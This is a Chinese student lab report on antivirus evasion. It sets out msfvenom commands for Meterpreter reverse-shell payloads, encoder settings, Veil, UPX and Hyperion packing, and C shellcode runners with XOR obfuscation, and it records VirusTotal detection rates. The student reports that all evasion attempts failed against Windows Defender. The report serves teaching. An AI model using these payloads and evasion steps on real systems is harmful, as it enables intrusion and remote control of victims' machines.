实验三 免杀原理与实践
一、实验内容
1.1实验内容简述
(1)正确使用msf编码器,veil-evasion,自己利用shellcode编程等免杀工具或技巧
- 正确使用msf编码器,使用msfvenom生成如jar之类的其他文件
- veil,加壳工具
- 使用C + shellcode编程
(2)通过组合应用各种技术实现恶意代码免杀
如果成功实现了免杀,简单语言描述原理,不要截图。与杀软共生的结果验证要截图。
(3)用另一电脑实测,在杀软开启的情况下,可运行并回连成功,注明电脑的杀软名称与版本
1.2实验要求
掌握免杀原理与技术
1.3回答问题
(1)杀软是如何检测出恶意代码的?
杀毒软件主要通过特征码比对、白名单过滤等方式检测恶意代码。其核心是通过识别恶意特征或异常行为来精准判断程序是否具有危害性。
(2)免杀是做什么?
免杀是通过某些技术手段来隐藏恶意代码的行为,使其能够绕过杀毒软件的检测,可以正常实现恶意功能
(3)免杀的基本方法有哪些?
1.用加密、变形代码规避特征码检测
2.伪装行为或隐藏行为等方式应对行为分析,比如使用反弹式连接、使用隧道技术、加密通讯数据等等
3.捆绑合法的程序或者伪装文件格式隐藏载体
4.利用杀毒软件的检测漏洞绕过防护达到目的
二、实验过程
2.1形成免杀效果参考基准
这里使用网页版的VirusTotal进行检测,使用指令:
msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.143.128 PORT=12138 -f exe > met20232301.exe
生成程序放入该网页进行扫描评分结果如下:

可以看到毫无疑问的被检测出来,检出率为49/72,意思是72款软件有49款产生了报毒,后续将依此作为基准检测免杀的效果
2.2 正确使用msf编码器,
2.2.1 正确使用msf编码器,使用msfvenom生成如jar之类的其他文件
使用如下指令:
msfvenom -p windows/meterpreter/reverse_tcp -e x86/shikata_ga_nai -b '\x00' LHOST=192.168.143.128 LPORT=12138 -f exe > 20232301met-encoded.exe
先生成编码一次的exe文件
与之前的指令相比,增加了一部分内容,具体如下:
-e x86/shikata_ga_nai -b '\x00'
其中-e指定用shikata_ga_nai编码器进行编码,降低被杀毒软件检测的概率;-b '\x00'则去除了载荷中的空字节,避免执行异常、减少被检测的特征

将生成的文件放在VirusTotal上检测:

(我发现不用吧文件传到windows系统,直接在kali上用浏览器检测本地文件就好了hhhhh)
得分为44分,初次编码似乎就取得了一定的成效?继续探索
我们进行十次编码:
msfvenom -p windows/meterpreter/reverse_tcp -e x86/shikata_ga_nai -i 10 -b '\x00' LHOST=192.168.143.128 LPORT=12138 -f exe > met-10encoded20232301.exe
关键在于-i 10这个参数让指定编码进行了10次,我们试一试这次成效如何:

(由于编码了10次,这个指令耗时要长一些)
放入VirusTotal里检测:

检出率24,看得出来没什么用,还是被很多软件检测到了
2.2.2
输入指令
msfvenom -p java/meterpreter/reverse_tcp LHOST=192.168.143.128 LPORT=12138 x>metjar20232301.jar
利用x>参数生成一个普通的jar文件

再利用指令
msfvenom -p java/meterpreter/reverse_tcp -e x86/shikata_ga_nai -i 10 LHOST=192.168.143.128 LPORT=12138 x>met-encoded-jar20232301.jar
生成编码10次的jar文件
开始检测:
普通jar文件:

编码后jar文件:

虽然说对比两个文件之间没什么显著变化,但是对比exe的43的检出率可以说是大幅下降,看来文件类型对于被识别的难度是有很大关系的
2.2.3生成编码前后的php文件
指令:
普通PHP文件:
msfvenom -p php/meterpreter/reverse_tcp LHOST=192.168.143.128 LPORT=12138 x>metphp_20232301.php
与前边同理,x>指定了文件类型

十次编码PHP文件:
msfvenom -p php/meterpreter/reverse_tcp -e x86/shikata_ga_nai -i 10 LHOST=192.168.143.128 LPORT=12138 x>met_encoded10_php_20232301.php

检测后发现结果惊人:
未编码的:

编码的:

就算没编码都直接降到了25分,而编码后直接降到了个位数9分,看来php的免杀效果是非常好的
2.3使用veil免杀工具
输入sudo apt -y install veil进行安装

这个过程耗时较长,因为:

占了我一半的空间。
输入之后的命令时作者的虚拟机被搞崩了,只好重新弄一个虚拟机,所以接下来ip发生了变化。究其原因很可能是空间没分配够,一定要提前分配够的内存大家不要学我【哭】
我们需要对setup.sh文件做出一些更改,由于国内无法访问github,要
将setup.sh的源换为国内源,如图红框所示位置(这里作者已经改完了,原本是github的网址sudo git clone https://github.com/Veil-Framework/VeilDependencies.git/)
改成:
sudo git clone https://gitee.com/spears/VeilDependencies.git

在user文件夹打开终端,输入:
share/veil/config/setup.sh --force --silent
然后继续等待。。。

终于!!!!成功了
(这里作者已经卡好久了)
后续可以通过输入veil打开
2.3.2Veil使用过程
输入use1进入Evasion模块

输入list查看可用的载荷

我们要使用的是第七个选项c/meterpreter/rev_tcp.py
因此输入use 7

接下来:
首先设置反弹链接ip
set LHOST 192.168.143.130(这里ip改变因为作者重装了系统(悲))
设置端口
set LPORT 12138

输入generate开始生成

根据红框中的地址找到生成好的文件

拿去评分,得分(也不能说是得分,但是简化说吧)38,有效果但不多

2.4使用shellcode编程
使用命令:
msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.143.130 LPORT=12138 -f c
使用msfvenom用c语言生成一段shellcode

创建c语言文件20232301callshellcode.c,将生成的shellcode注入该c文件并在后边附带一段代码:
int main(){
int(*func)()=(int(*)())buf;
func();
}

输入指令:
i686-w64-mingw32-g++ 20232301callshellcode.c -o 20232301callshellcode.exe
编译c语言文件并得到exe文件,进行评分:
(虽然但是这个人机验证真的好烦。。。)

得分33,也有一定的效果
2.5使用加壳工具
2.5.1使用压缩壳UPX
针对刚刚生成的20232301callshellcode.exe文件,利用upx 20232301callshellcode.exe -o 20232301_upx.exe
得到加壳后的程序

进行评分

(这里一直卡在人机验证。。。这玩意儿真的太抽象了)
检出率为36,加壳后反而上升,没啥用
2.5.2使用加密壳Hyperion
将待加密的文件放到工作目录下并进入目录加密该文件
cp 20232301_shellcodehhh_upx.exe /usr/share/windows-resources/hyperion/
cd /usr/share/windows-resources/hyperion/
wine hyperion.exe -v 20232301_shellcodehhh_upx.exe 20232301_shellcodehhh_upx_hyp.exe


在文件夹中找到文件

进行评分:

。。。。虽然按理来说加密后应该更难杀才对,但是看来并不是这样,难道是因为各大软件都升级了?
2.6通过组合应用各类技术来实现免杀
(用了前边多种手段结合还有异或还有换用其他payload的方式发现不管用。。)
用了很多手段无法实现。。。找老师请教后决定把试错结果放在下边。。。
使用前辈的方法多层套壳加密。。。

但是很不幸被杀软秒杀
方法2:
还是进入veil,输入use evasion使用veil/evasion
输入list查看可用payloads,我们输入
use 28
使用用Python语言的payload

设置反弹链接IP和端口号

输入generate,选择2

在红框所示位置可以看到输出文件所在位置
进入相应目录,将得到的文件runme.bat用Virustotal进行识别


终于!!!0分!!太感动了
庆贺吧
但是bat文件跑不了。。。。。已破防。。。
换一个方法,我们进入veil,选择其他payloaduse c/meterpreter/rev_tcp.py

还是设置ip和端口号

根据路径可以找到三个文件:.c.exe.rc




这其中只有exe文件可以执行,将其复制到主机中尝试执行,然而不幸的是,即使在加壳后文件也很遗憾的被查杀了。。。。

还不信邪,我们试一下异或方法:
msfvenom -p windows/meterpreter/reverse_tcp -b '\x00' -e x86/shikata_ga_nai LHOST=192.168.255.128 LPORT=12138 -f raw | msfvenom -a x86 --platform windows -b '\x00' -e x86/bloxor -f c
(ip改变了,因为中途更改了网络设置)
将生成的shellcode利用c语言代码与0x04进行异或具体实现为:
#include <stdio.h>
#include <stdlib.h>
// 原始字节数组
unsigned char buf[] =
"\xda\xd6………(你的shellcode)
"\xad\x64\x34\x13\x89\xa1\x26\x74\x32\xb8\x37\x48";
int main() {
// 计算原始数组长度(不含末尾的'\0')
int len = sizeof(buf) - 1;
// 对每个字节异或0x01(可替换为其他处理方式)
for (int i = 0; i < len; i++) {
buf[i] ^= 0x04; // 核心修改逻辑:异或0x04
}
// 按原始格式输出(每行14个字节,保持双引号和换行)
int count = 0;
for (int i = 0; i < len; i++) {
// 每行开头加双引号
if (count == 0) {
printf("\"");
}
// 输出十六进制字节(带\x前缀)
printf("\\x%02x", buf[i]);
count++;
// 每行14个字节后换行(与原始格式对齐)
if (count == 14) {
printf("\"\n");
count = 0;
}
}
// 处理最后一行未填满的情况
if (count > 0) {
printf("\"\n");
}
return 0;
}
得到异或后的shellcode

在kali上创建c语言文件,将得到的结果写入此文件,并添加:
int main()
{
int i;
for(i = 0; i < sizeof(buf); i++)
{
buf[i] ^= 0x04;
}
int (*func)() = (int(*)())buf;
func();
}

随后编译为exe并加壳尝试运行,


在msfconsole上尝试反弹链接,然而始终无法连接成功。。。。
一直保持此状态:

看来现在的防御系统也进化的很完善了。。很无奈只能说
2.7用另一电脑实测,在杀软开启的情况下,可运行并回连成功,注明电脑的杀软名称与版本
主机系统:windows11
虚拟机系统:kali
杀软名称:Windows Defender
很明显前边的尝试都失败了。。实在是没有办法,和老师请教后决定关闭防火墙展示一下exe确实是可以反弹链接的。
关闭防火墙,在msfconsole中设置ip和端口进行反弹链接:

在windows上运行相应的文件:

可以看到成功获取到了shell

在后续我会再次尝试实现免杀。。任重而道远.
3.问题和解决方案
-
问题1:kali虚拟机关机后再打开无法出现图形化界面,卡在黑屏阶段有光标闪烁
问题1解决方法:推测是内存爆满,无法加载图形化界面,当时尝试过清除软件、重新分配硬盘空间等方式没有成功,最后重新装了新的kali虚拟机 -
问题2:veil安装一直不成功
问题2解决方法:主要原因是setup.sh中的源是github的源,国内基本是无法访问的,换成gitee的源后就成功了 -
问题3:新装的kali可以ping主机,但是主机无法pingkali虚拟机
解决方法:
现在主机上进行ipconfig操作
![image]()
查看红框标注的ip与kali主机的ip是否在同一网段,于是去本机的网络与共享中心,点击更改适配器设置,点击VMware Network Adapter VMnet8,点击属性,点击Internet协议版本4(TCP/IPv4)
![image]()
![image]()
配置子网掩码与默认网关,保证其和kali在同一网段
![image]()
再次尝试即可ping通 -
问题4:进行虚拟机的反弹连接时,出现下列情况:
Meterpreter session 3 closed.Reason: Died
这和第一次看起来情况一样,实则不然,根本原因在于生成文件时使用的payload和在msfconsole中使用的payload不一致造成的
![image]()
![image]()
更改为一直即可解决 -
问题5:运行异或后的程序时提示:
程序无法启动,因为找不到 libgcc_s_dw2-1.dll
查询资料后得知是因为缺少这个文件造成的,解决方法:
手动复制 libgcc_s_dw2-1.dll 文件到你的系统目录
从这里下载该文件:
https://www.dll-files.com/libgcc_s_dw2-1.dll.html
如果是
Windows 10 和 11要复制到: C:\Windows\System32
Windows 7 和 8则是: C:\Windows\SysWOW64
(我这里两个文件夹都复制了,以防万一)
4.学习感悟、思考等
这次的实验给我的体验可谓是一言难尽,前边都是简单的验证-评分操作,做下来还挺顺,没想到最后一步来了个大的,极其恐怖,拼尽全力无法战胜,不管是异或还是换payload等等都没有办法逃过杀毒软件的拦截,让我心态有些爆炸,但是从一个电脑使用者的角度来看,这肯定是值得高兴的,这说明杀毒软件可以帮助我们防范很多的攻击,而且我还发现一个很值得思考的点,我在阅览学长学姐的实验报告时,发现他们很多免杀成功的方法对我来说是不可行的,这说明攻击手段随着时代层出不穷,杀毒软件也在与时俱进不断更新,道高一尺魔高一丈,攻击与防范的议题会一直持续下去,不断协同着“进化”。
虽然说尝试免杀都失败了,但是这也为我积累了很多的经验,提升了我对网络攻防免杀手段的相关知识的了解程度,同时和老师交流的过程也是学习解决问题的方式的一个过程,通过和老师共同的探讨,我发现很多错误并非只是表面上看起来的那样,比如说有一次反弹链接一直不成功的情况(后边还有),在更改payload后还是没成功,最后还是老师点醒我,发现虚拟机无法无法ping通主机,如果不把这个问题解决的话,后面的解决方法应该都是不生效的,这也启发了我要从源头思考问题。
最后感谢老师和同学给予的相应帮助,虽然没有成功,但我依旧受益匪浅,在今后的学习中我会不断督促自己进步,加油!






浙公网安备 33010602011771号